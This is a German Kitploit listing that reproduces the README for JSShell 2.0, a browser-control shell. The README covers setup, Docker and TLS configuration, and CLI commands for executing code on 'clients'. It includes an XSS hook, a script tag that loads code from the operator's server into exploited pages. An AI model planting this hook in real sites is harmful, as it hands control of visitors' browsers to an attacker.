Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
JSShell — Eine interaktive Multi-User-Web-JS-Shell | Kitploit
Tools/GitHubGitHub/den1al/jsshell
ExploitationWebanwendungs-ExploitationPenetrationstestsRemote-Access-Tool
GitHubden1al/jsshell

JSShell

Eine interaktive Multi-User-Web-JS-Shell

Repository anzeigen
364701vor 6 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

JSShell 2.0

made-with-python Generic badge Generic badge

Eine interaktive, multi-user-fähige, webbasierte JavaScript-Shell. Ursprünglich entwickelt, um entfernte exotische Browser während Experimenten und Forschungen zu debuggen. Dieses Tool kann einfach an XSS (Cross-Site-Scripting)-Payloads angehängt werden, um Remote-Code-Ausführung im Browser zu erreichen (ähnlich dem BeeF-Framework).

Version 2.0 wurde komplett neu entwickelt und bietet spannende neue Funktionen, Stabilität und Wartbarkeit.

Version: 2.0

Autor

Daniel Abeles.

Shell-Video

asciicast

Funktionen

  • Unterstützung mehrerer Clients
  • Unterstützung zyklischer DOM-Objekte
  • Pre-Flight-Skripte
  • Befehls-Warteschlange & Kontext
Tool herunterladen
  • Erweiterbar mit Plugins
  • Injizierbar über <script>-Tags
  • Ausgabe von Befehlen in Datei speichern
  • Shell-Paginierung
  • HTTPS-Unterstützung! Generic badge
  • Installation & Einrichtung

    Konfigurationsdatei

    Im Verzeichnis resources aktualisieren Sie die Datei config.json mit Ihrer gewünschten Konfiguration:

    • Datenbank-Host – bei Verwendung der docker-Bereitstellungsmethode wählen Sie den Datenbank-Host als db (der interne Hostname).
    • Rückgabe-URL – die URL, der die Anfragen folgen. Die shell.js-Datei führt AJAX-Aufrufe durch, um neue Befehle zu registrieren und abzufragen. Normalerweise lautet sie http[s]://{YOUR_SERVER_IP}:{PORT}.
    • Startskript – ein Skript, das automatisch ausgeführt wird, wenn der JSShell-CLI-Client gestartet wird.
    • Domain – falls Sie TLS-Zertifikate generieren möchten, ist dies der Domainname, den der Server verwenden wird.
    • Es ist auch möglich, auf eine entfernte Datenbank zu verweisen, falls gewünscht.

    Let's Encrypt

    Jetzt unterstützt JSShell TLS, was bedeutet, dass Sie TLS-Zertifikate generieren und dem Webserver bereitstellen können. Der Webserver leitet den Domainnamen aus der config.json-Datei ab. Um das Zertifikat zu erstellen, verwenden Sie das Skript create_cert.py im Ordner scripts:

    root@kitploit:~
    $ cd scripts
    $ python create_cert.py --domain <IHR_DOMAIN> --email <IHRE_EMAIL>
    
    das E-Mail-Feld ist optional.

    Bitte beachten Sie, dass der Webserver gestoppt sein muss, damit das Skript ordnungsgemäß funktioniert. An diesem Punkt haben wir unsere Zertifikate erfolgreich generiert! Die einzigen Änderungen, die wir vornehmen müssen, sind:

    • Ändern Sie in der config.json-Datei das Schema des URL-Feldes auf https.
    • Ändern Sie in der docker-compose.yml-Datei den exponierten Port des web-Containers auf 443.

    Docker

    Diese neue Version unterstützt die Installation und Ausführung von JSShell über docker und docker-compose. Um das gesamte JSShell-Framework zu installieren und auszuführen, führen Sie einfach aus:

    root@kitploit:~
    $ ./scripts/start_docker_shell.sh
    

    Dies wird:

    • Die Datenbank im Hintergrund starten und erstellen
    • Den Web-API-Server, der eingehende Verbindungen behandelt, im Hintergrund starten
    • Eine neue Instanz des JSShell-Befehlszeilenschnittstellen-Containers starten

    Normal

    Wenn Sie immer noch die altmodische Installationsmethode verwenden möchten, stellen Sie einfach sicher, dass eine MongoDB-Datenbank läuft, und aktualisieren Sie die Datei config.json im Verzeichnis resources.

    Ich empfehle die Verwendung einer virtuellen Umgebung mit pyenv:

    root@kitploit:~
    $ pyenv virtualenv -p python3.6 venv
    $ pyenv activate venv
    

    Oder mit virtualenv:

    root@kitploit:~
    $ virtualenv -p python3.6 venv
    $ source venv/bin/activate
    

    Installieren Sie dann die Abhängigkeiten:

    root@kitploit:~
    $ pip install -r requirements.txt
    

    Ausführung

    Wenn Sie die docker-Methode verwendet haben, ist es nicht nötig, die folgende Prozedur auszuführen.

    Webserver

    Andernfalls müssen wir, nachdem die Datenbank eingerichtet ist, den Web-API-Server starten. Führen Sie dazu aus:

    root@kitploit:~
    $ python manage.py web
    

    Dies erstellt und startet einen Webserver, der eingehende Verbindungen abhört und unseren JSShell-Code ausliefert.

    Shell

    Um nun die JSShell-CLI zu starten, führen Sie dasselbe Skript aus, jetzt jedoch mit dem shell-Flag:

    root@kitploit:~
    $ python manage.py shell
    

    Verwendung

    Nach der Einrichtung und dem Start der erforderlichen Komponenten geben Sie den Befehl help ein, um die verfügbaren Befehle anzuzeigen:

    root@kitploit:~
         ╦╔═╗┌─┐┬ ┬┌─┐┬  ┬  
         ║╚═╗└─┐├─┤├┤ │  │  
        ╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0     
            by @Daniel_Abeles
        
    >> help
    
    Documented commands (type help <topic>):
    
    Allgemeine Befehle
    --------------------------------------------------------------------------------
    edit                Bearbeite eine Datei in einem Texteditor
    help                Liste verfügbarer Befehle oder detaillierte Hilfe für einen bestimmten Befehl
    history             Zeige, führe aus, bearbeite, speichere oder lösche zuvor eingegebene Befehle
    ipy                 Starte eine interaktive IPython-Shell
    py                  Python-Befehl oder -Shell aufrufen
    quit                Beende diese Anwendung
    
    Shell-basierte Operationen
    --------------------------------------------------------------------------------
    back                Hebe die Auswahl des aktuell ausgewählten Clients auf
    clients             Liste und steuere die Clients, die sich in unserem System registriert haben
    commands            Zeige die ausgeführten Befehle auf dem ausgewählten Client
    dump                Speichert einen Befehl auf der Festplatte
    execute             Führe Befehle auf dem ausgewählten Client aus
    select              Wähle einen Client als aktuellen Client aus
    
    >> 
    

    Ablauf

    JSShell unterstützt 2 Betriebsarten:

    1. Injizierbare Shell (ähnlich dem BeeF-Framework)
    2. Gehostete Shell (zum Debuggen)

    Injizierbare Shell

    Ähnlich wie andere XSS-Kontroll-Frameworks (z. B. BeeF) ist JSShell in der Lage, erfolgreiche XSS-Ausnutzungen zu verwalten. Wenn Sie beispielsweise ein <script>-Tag injizieren können, fügen Sie die folgende Ressource in Ihren Payload ein, und ein neuer Client erscheint in Ihrer Konsole:

    <script src="http[s]://{YOUR_SERVER_IP}:{PORT}/content/js"></script>

    Gehostete Shell

    Wenn Sie exotische und esoterische Browser debuggen möchten, navigieren Sie einfach zu http[s]://{YOUR_SERVER_IP}:{PORT}/, und ein neuer Client wird in Ihrem JSShell-CLI-Client erscheinen. Er ist dann über unsere JSShell-Konsole debuggbar.

    Credits

    Canop für JSON.prune

    Verwenden Sie es auf eigene Verantwortung und Risiko.